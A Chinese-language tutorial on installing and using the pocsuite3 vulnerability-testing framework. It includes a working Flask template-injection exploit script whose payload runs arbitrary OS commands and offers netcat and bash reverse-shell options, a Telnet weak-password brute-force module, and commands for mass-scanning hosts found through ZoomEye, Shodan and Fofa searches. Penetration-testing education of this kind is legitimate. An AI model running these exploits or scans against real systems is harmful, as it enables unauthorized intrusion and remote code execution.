pocsuite3安装及使用
- 简介
 - 项目地址
 - 环境配置及安装
 - 环境要求
 - 安装(详情可以参考[https://pocsuite.org/](https://pocsuite.org/))
 
- 使用方法
 - 运行模块
 - 加载目标参数:
 
- Console模式
 - 查看有哪些模块
 - 使用Telnet 弱密码模块
 - 这里以flask模板注入漏洞为例
 
- pocsuite3 编写POC脚本
 - 批量验证方式
 
- pocsuite3 编写EXP脚本
 - pocsuite3 编写console 形式
 - 调用搜索引擎接口
 - Zoomeye搜索引擎
 - Shodan搜索引擎
 - Fofa搜索引擎
 - 从Seebug调用poc
 
简介
pocsuite3 是由 知道创宇 404实验室 开发维护的开源远程漏洞测试和概念验证开发框架。
项目地址
https://github.com/knownsec/pocsuite3
环境配置及安装
环境要求
- Python 3.4+
 - Linux, Windows, Mac OSX, BSD
 
安装(详情可以参考https://pocsuite.org/)
直接pip3安装
pip3 install pocsuite3
 
或者下载最新的解压
wget https://github.com/knownsec/pocsuite3/archive/master.zip
unzip master.zip
pip3 install -r requirements.txt
 
在Windows中
进入pocsuite目录,执行python3 cli.py
查看帮助信息 python3 cli.py -h
输出这样即为pocsuite3 安装成功
 
 在Linux中
 直接输入pocsuite
 
使用方法
具体方法可以python cli.py -h或者pocsuite -h来自行查看
运行模块
--verity 验证    POC
--attack 攻击   exp
--shell
 
加载目标参数:
-u	选择单个目标
-f	从文件中导入多个目标,
-r	选择poc
-c	从配置文件中导入
-threads	设置线程
 
verify 模式:验证目标是否存在漏洞
pocsuite3 -r tests/poc_example.py -u http://www.example.com/ --verify
 
attack 模式:向目标发起有效的攻击
pocsuite3 -r tests/poc_example.py -u http://www.example.com/ --attack
 
批量验证,将url写到一个txt
pocsuite3 -r test/poc_example.py -f url.txt --verify
 
加载 tests 目录下的所有 PoC 对目标进行测试(可以充当扫描器角色)
pocsuite3 -r tests/ -u http://www.example.com --verify
 
使用多线程,默认线程数为1
pocsuite3 -r test/ -f url.txt --verify --threads 10
 
Console模式
类似于msf
 python console.py或者poc-console
查看有哪些模块
 list
 

使用Telnet 弱密码模块
Pocsuite3 > use pocs\telnet_burst
Pocsuite3 (pocs\telnet_burst) > show options
Pocsuite3 (pocs\telnet_burst) > set rhost 192.168.8.1
Pocsuite3 (pocs\telnet_burst) > set rport 23
run
 
这里以flask模板注入漏洞为例
pocsuite3 编写POC脚本
主要编写poc定义的函数部分去做验证

poc-flask.py 脚本
from collections import OrderedDict
from urllib.parse import urljoin
import re
from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPE
from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY
 
 
class DemoPOC(POCBase):
    vulID = '1.1'
    version = '1.1'
    author = ['1.1']
    vulDate = '1.1'
    createDate = '1.1'
    updateDate = '1.1'
    references = ['flask']
    name = 'flask'
    appPowerLink = 'flask'
    appName = 'flask'
    appVersion = 'flask'
    vulType = VUL_TYPE.CODE_EXECUTION
    desc = '''
        flask
    '''
    samples = []
    category = POC_CATEGORY.EXPLOITS.REMOTE
 
    def _verify(self):
        result = {}
        path = "?name="
        url = self.url + path
        #print(url)
        payload = "{{22*22}}"
        #print(payload)
        try:
            resq = requests.get(url + payload)
            if resq and resq.status_code == 200 and "484" in resq.text:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = url
                result['VerifyInfo']['Name'] = payload
        except Exception as e:
            return 
        return self.parse_output(result)
 
    def _attack(self):
        return self._verify()
 
    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output
 
register_poc(DemoPOC)
 
命令行
python3 cli.py -r /root/桌面/flask/poc-flask.py -u http://127.0.0.1:5000 --verify
 

否则不存在
 
批量验证方式
python3 cli.py -r /root/桌面/flask/poc-flask.py --dork "server:http" --vuln-keyword "flask"
 
搜索漏洞关键字flask, http协议的网址
 
 失败,没扫出来
 
pocsuite3 编写EXP脚本
主要编写exp定义的函数部分去做攻击
exp-flask.py 脚本
from collections import OrderedDict
from urllib.parse import urljoin
import re
from pocsuite3.api import POCBase, Output, register_poc, logger, requests, OptDict, VUL_TYPE
from pocsuite3.api import REVERSE_PAYLOAD, POC_CATEGORY
 
 
class DemoPOC(POCBase):
    vulID = '1.1'
    version = '1.1'
    author = ['1.1']
    vulDate = '1.1'
    createDate = '1.1'
    updateDate = '1.1'
    references = ['1.1']
    name = 'flack'
    appPowerLink = 'flack'
    appName = 'flask'
    appVersion = 'flask'
    vulType = VUL_TYPE.CODE_EXECUTION
    desc = '''
        
    '''
    samples = []
    category = POC_CATEGORY.EXPLOITS.REMOTE
 
    def _options(self):
        o = OrderedDict()
        payload = {
            "nc": REVERSE_PAYLOAD.NC,
            "bash": REVERSE_PAYLOAD.BASH,
        }
        o["command"] = OptDict(selected="bash", default=payload)
        return o
 
    def _verify(self):
        output = Output(self)
        result = {}
 
    def _attack(self):
        result = {}
        path = "?name="
        url = self.url + path
        #print(url)
        cmd = self.get_option("command")
        payload = 'name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__("os").popen("'+cmd+'").read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D'
        #print(payload)
        try:
            resq = requests.get(url + payload)
            t = resq.text
            t = t.replace('\n', '').replace('\r', '')
            print(t)
            t = t.replace(" ","")
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = url
            result['VerifyInfo']['Name'] = payload
        except Exception as e:
            return
        return self.parse_attack(result)
 
    def parse_attack(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output
 
 
register_poc(DemoPOC)
 
payload如下:
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}
 
命令行
python3 cli.py -r /root/桌面/flask/exp-flask.py -u http://127.0.0.1:5000 --attack --command ifconfig
 

 
pocsuite3 编写console 形式

 
调用搜索引擎接口
参数
–dork DORK	            Zoomeye Dork ,用于在ZoomEye 搜索目标
–max-page MAX_PAGE	    ZoomEye API 的请求翻页数(10 目标/页)
–search-type	        ZoomEye API 搜索类型,web 或者 host
–vul-keyword VULKEYWORD	Seebug 搜索关键词,用于在Seebug 搜索漏洞POC
 
Zoomeye搜索引擎
使用ZoomEye搜索ecshop并使用ecshop_rce.py探测,指定线程数量为5
python3 cli.py -r pocs/ecshop_rce.py --dork ecshop --threads 5
 
从ZoomEye中调用host批量验证某个POC
pocsuite -r weblogic_CVE-2017-10271.py --dork 'weblogic' --max-page 5 --thread 20 --verify
 
Shodan搜索引擎
python3 cli.py -r pocs/redis_unauthorized_access.py --dork-shodan “product:redis”  --shodan-token  “xxxx”
 
Fofa搜索引擎
 python3 cli.py -r pocs/redis_unauthorized_access.py --dork-fofa "service:redis"  --fofa-user “xxx"  --fofa-token “xxx"
 
从Seebug调用poc
使用ZoomEye搜索服务为redis的目标,调用SSV-89339的poc来验证漏洞。
pocsuite -r ssvid-89339  --dork service:redis --max-page 1 --threads 10
                



















